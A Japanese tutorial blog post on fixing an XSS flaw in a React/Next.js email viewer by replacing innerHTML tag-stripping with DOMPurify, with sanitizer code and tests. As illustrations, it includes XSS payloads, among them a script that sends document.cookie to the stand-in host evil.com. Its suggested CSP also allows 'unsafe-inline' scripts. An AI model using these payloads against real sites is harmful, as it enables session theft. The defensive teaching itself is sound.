ReactでXSS脆弱性を防ぐ:DOMPurifyの実装方法
概要
メール管理システムで、HTMLメールの内容を表示する際にXSS(クロスサイトスクリプティング)脆弱性が発見されました。当初はinnerHTMLを使用してHTMLタグを除去していましたが、これは危険な実装でした。本記事では、なぜこの方法が危険なのか、そしてDOMPurifyを使用した安全な実装方法について解説します。
技術スタック
- React: フロントエンド
- Next.js 14+: App Router
- DOMPurify: HTMLサニタイゼーション
- TypeScript: 型安全性
実装内容
1. 危険な実装(修正前)
最初の実装では、HTMLタグを除去するために以下のような危険なコードを使用していました:
// ❌ 危険な実装例
function stripHtmlTags(html: string): string {
// DOMを使ってHTMLタグを除去(XSS脆弱性あり!)
const div = document.createElement('div');
div.innerHTML = html; // ⚠️ 危険:任意のスクリプトが実行される可能性
return div.textContent || div.innerText || '';
}
// Reactコンポーネントでの使用
function EmailPreview({ emailContent }: { emailContent: string }) {
const plainText = stripHtmlTags(emailContent);
return (
<div className="email-content">
{plainText}
</div>
);
}
なぜこれが危険なのか
上記のコードには以下の問題があります:
-
スクリプト実行のリスク
<!-- 攻撃者が送信した悪意のあるメール --> <img src=x onerror="alert('XSS Attack!')"> <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>これらのコードが
innerHTML経由で実行される可能性があります。 -
イベントハンドラーの実行
<div onmouseover="maliciousCode()">Hover me</div> -
スタイル攻撃
<style>body { display: none !important; }</style>
2. 安全な実装(DOMPurify使用)
DOMPurifyを使用した安全な実装に修正:
// ✅ 安全な実装例
import DOMPurify from 'dompurify';
interface SanitizeOptions {
allowedTags?: string[];
allowedAttributes?: string[];
keepContent?: boolean;
}
/**
* HTMLコンテンツを安全にサニタイズする
* @param html - サニタイズ対象のHTML文字列
* @param options - サニタイズオプション
* @returns サニタイズされた安全なHTML文字列
*/
function sanitizeHtml(
html: string,
options: SanitizeOptions = {}
): string {
const {
allowedTags = [],
allowedAttributes = [],
keepContent = true,
} = options;
// DOMPurifyの設定
const config: DOMPurify.Config = {
ALLOWED_TAGS: allowedTags,
ALLOWED_ATTR: allowedAttributes,
KEEP_CONTENT: keepContent, // タグは除去するがコンテンツは保持
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false,
RETURN_TRUSTED_TYPE: false,
};
return DOMPurify.sanitize(html, config);
}
/**
* すべてのHTMLタグを除去してプレーンテキストを取得
* @param html - サニタイズ対象のHTML文字列
* @returns プレーンテキスト
*/
function stripAllTags(html: string): string {
return sanitizeHtml(html, {
allowedTags: [], // すべてのタグを禁止
allowedAttributes: [], // すべての属性を禁止
keepContent: true, // テキストコンテンツは保持
});
}
/**
* 安全なHTMLタグのみを許可してサニタイズ
* @param html - サニタイズ対象のHTML文字列
* @returns サニタイズされたHTML文字列
*/
function sanitizeForDisplay(html: string): string {
return sanitizeHtml(html, {
allowedTags: [
'p', 'br', 'strong', 'em', 'u',
'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
'ul', 'ol', 'li',
'blockquote', 'code', 'pre',
'a', // リンクは許可するが、属性は制限
],
allowedAttributes: [
'href', // リンクのみ許可
'title',
],
});
}
3. Reactコンポーネントでの実装
安全にHTMLコンテンツを表示するReactコンポーネント:
// email-preview-panel.tsx
import React, { useMemo, memo } from 'react';
import DOMPurify from 'dompurify';
interface EmailPreviewPanelProps {
email: {
subject: string;
bodyHtml?: string;
bodyText?: string;
};
searchTerm?: string;
}
// パフォーマンス最適化:メモ化してレンダリング回数を削減
export const EmailPreviewPanel = memo(function EmailPreviewPanel({
email,
searchTerm
}: EmailPreviewPanelProps) {
// メール本文の安全な処理
const sanitizedContent = useMemo(() => {
if (email.bodyHtml) {
// HTMLメールの場合:タグを除去してプレーンテキスト化
// パフォーマンス重視:計算コストの高いサニタイズをメモ化
return DOMPurify.sanitize(email.bodyHtml, {
ALLOWED_TAGS: [],
KEEP_CONTENT: true,
});
}
return email.bodyText || '';
}, [email.bodyHtml, email.bodyText]);
// 検索語のハイライト(安全な実装)
const highlightedContent = useMemo(() => {
if (!searchTerm) return sanitizedContent;
// 検索語を安全にエスケープ
const escapedTerm = searchTerm.replace(
/[.*+?^${}()|[\]\\]/g,
'\\$&'
);
// 大文字小文字を無視してマッチング
const regex = new RegExp(`(${escapedTerm})`, 'gi');
// マッチした部分を<mark>タグでラップ
const parts = sanitizedContent.split(regex);
return parts.map((part, index) => {
if (index % 2 === 1) {
// マッチした部分
return (
<mark
key={index}
className="bg-yellow-200 font-semibold"
>
{part}
</mark>
);
}
return part;
});
}, [sanitizedContent, searchTerm]);
return (
<div className="email-preview-panel p-6">
<h2 className="text-xl font-bold mb-4">
{email.subject}
</h2>
<div className="email-content whitespace-pre-wrap">
{highlightedContent}
</div>
</div>
);
});
4. Next.js Server Componentsでの実装
Server ComponentsでDOMPurifyを使用する場合の注意点:
// app/components/server-safe-content.tsx
import createDOMPurify from 'isomorphic-dompurify';
interface ServerSafeContentProps {
html: string;
allowedTags?: string[];
}
/**
* Server Componentで安全にHTMLを表示
* クライアント側のJavaScriptなしで動作
*/
export async function ServerSafeContent({
html,
allowedTags = []
}: ServerSafeContentProps) {
// isomorphic-dompurifyを使用してNode.js環境で動作
const DOMPurify = createDOMPurify();
const sanitized = DOMPurify.sanitize(html, {
ALLOWED_TAGS: allowedTags,
KEEP_CONTENT: true,
RETURN_TRUSTED_TYPE: false,
});
return (
<div
className="safe-content"
dangerouslySetInnerHTML={{ __html: sanitized }}
/>
);
}
// app/emails/[id]/page.tsx (Server Component)
import { ServerSafeContent } from '@/components/server-safe-content';
export default async function EmailDetailPage({
params
}: {
params: { id: string }
}) {
const email = await getEmail(params.id);
return (
<div className="p-6">
<h1>{email.subject}</h1>
<ServerSafeContent html={email.bodyHtml} />
</div>
);
}
5. より高度なサニタイゼーション
特定の要件に応じたカスタマイズ:
// advanced-sanitizer.ts
import DOMPurify from 'dompurify';
/**
* DOMPurifyのフックを設定する
* URLバリデーションや危険な要素の除去を行う
*/
function setupDOMPurifyHooks(): void {
// URLのバリデーション
DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
if (data.attrName === 'href') {
const url = data.attrValue;
// 許可するプロトコルのみ(httpとhttps)
if (!url.match(/^https?:\/\//i)) {
data.attrValue = '';
}
// 外部リンクにrel="noopener noreferrer"を追加
if (node.nodeName === 'A') {
node.setAttribute('rel', 'noopener noreferrer');
node.setAttribute('target', '_blank');
}
}
});
// 危険なスタイル属性を除去
DOMPurify.addHook('uponSanitizeElement', (node, data) => {
// styleタグを完全に除去
if (data.tagName === 'style') {
node.remove();
}
});
}
/**
* メールコンテンツを安全にサニタイズする
* @param html - サニタイズ対象のHTML文字列
* @returns サニタイズされたHTML文字列
*/
function sanitizeEmailContent(html: string): string {
// 初回のみフックを設定
setupDOMPurifyHooks();
const config: DOMPurify.Config = {
ALLOWED_TAGS: [
'p', 'br', 'div', 'span',
'strong', 'b', 'em', 'i', 'u',
'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
'ul', 'ol', 'li',
'table', 'thead', 'tbody', 'tr', 'th', 'td',
'a', 'img',
'blockquote', 'code', 'pre',
],
ALLOWED_ATTR: [
'href', 'src', 'alt', 'title',
'class', // CSSクラスは許可(インラインスタイルは禁止)
],
FORBID_ATTR: [
'style', // インラインスタイルは禁止
'onclick', 'onmouseover', // イベントハンドラーは全て禁止
],
FORBID_TAGS: [
'script', 'iframe', 'object', 'embed', 'form',
],
KEEP_CONTENT: true,
RETURN_TRUSTED_TYPE: false,
};
return DOMPurify.sanitize(html, config);
}
6. テストの実装
セキュリティテストも忘れずに:
// email-sanitizer.test.ts
import { describe, it, expect } from 'vitest';
import { stripAllTags, sanitizeForDisplay } from './email-sanitizer';
describe('Email Sanitization', () => {
describe('XSS攻撃の防御', () => {
it('scriptタグを除去する', () => {
const malicious = '<script>alert("XSS")</script>Hello';
const result = stripAllTags(malicious);
expect(result).toBe('Hello');
expect(result).not.toContain('script');
expect(result).not.toContain('alert');
});
it('onerrorイベントを除去する', () => {
const malicious = '<img src=x onerror="alert(1)">Text';
const result = stripAllTags(malicious);
expect(result).toBe('Text');
expect(result).not.toContain('onerror');
});
it('危険なhref属性を無効化する', () => {
const malicious = '<a href="javascript:alert(1)">Click</a>';
const result = sanitizeForDisplay(malicious);
expect(result).not.toContain('javascript:');
expect(result).toContain('Click');
});
it('データURIスキームを除去する', () => {
const malicious = `
<a href="data:text/html,<script>alert(1)</script>">
Link
</a>
`;
const result = sanitizeForDisplay(malicious);
expect(result).not.toContain('data:');
});
it('SVG内のスクリプトを除去する', () => {
const malicious = `
<svg onload="alert(1)">
<script>alert('XSS')</script>
</svg>
`;
const result = sanitizeForDisplay(malicious);
expect(result).not.toContain('onload');
expect(result).not.toContain('alert');
});
});
describe('正常なコンテンツの保持', () => {
it('プレーンテキストは変更しない', () => {
const plain = 'This is plain text with 特殊文字';
const result = stripAllTags(plain);
expect(result).toBe(plain);
});
it('改行とスペースを保持する', () => {
const text = 'Line 1\n\nLine 2 with spaces';
const result = stripAllTags(text);
expect(result).toBe(text);
});
});
});
学んだこと
意外だった落とし穴
-
textContentだけでは不十分-
innerHTMLに値を設定した時点で、スクリプトが実行される可能性がある -
textContentやinnerTextを取得する前に、既に攻撃が成功している
-
-
Reactの
dangerouslySetInnerHTML- 名前に「dangerous」とある通り、本当に危険
- 使用する場合は必ずサニタイゼーションが必要
-
ブラウザの挙動の違い
- ブラウザによってHTMLパースの挙動が異なる
- 統一的なサニタイゼーションライブラリの使用が重要
今後使えそうな知見
-
CSP(Content Security Policy)の併用
// Next.jsでのCSP設定 const cspHeader = ` default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; `; -
サーバーサイドでのサニタイゼーション
// APIルートでもサニタイゼーション import createDOMPurify from 'isomorphic-dompurify'; export async function POST(request: Request) { const { content } = await request.json(); // サーバーサイドでサニタイズ const DOMPurify = createDOMPurify(); const sanitized = DOMPurify.sanitize(content); // DBに保存 await saveEmail(sanitized); }
もっと良い書き方の発見
カスタムフックでロジックを分離
// use-sanitized-content.ts
import { useMemo } from 'react';
import DOMPurify from 'dompurify';
export function useSanitizedContent(
html: string,
options?: DOMPurify.Config
) {
return useMemo(() => {
const defaultOptions: DOMPurify.Config = {
ALLOWED_TAGS: [],
KEEP_CONTENT: true,
...options,
};
return DOMPurify.sanitize(html, defaultOptions);
}, [html, options]);
}
// 使用例
function EmailComponent({ htmlContent }: Props) {
const safeContent = useSanitizedContent(htmlContent);
return <div>{safeContent}</div>;
}
終わりに
XSS脆弱性は、Webアプリケーションで最も一般的かつ危険な脆弱性の一つです。特にユーザーが入力したコンテンツを表示する際は、常に「このコンテンツは信頼できるか?」と自問する必要があります。
DOMPurifyのような実績のあるライブラリを使用することで、安全性を確保しながら、柔軟なコンテンツ表示が可能になります。セキュリティは後から追加するものではなく、設計段階から組み込むべき要素です。
皆さんも、HTMLコンテンツを扱う際は必ずサニタイゼーションを実装し、定期的にセキュリティテストを実施することをお勧めします。
この記事で紹介したコードは、実際のプロダクションコードを簡略化したものです。エラーハンドリングやセキュリティチェックなど、実際の実装では追加の考慮事項があります。
関連技術: React, Next.js, DOMPurify, isomorphic-dompurify, TypeScript, XSS対策, CSP, Server Components, Vitest
筆者: 91works開発チーム
Discussion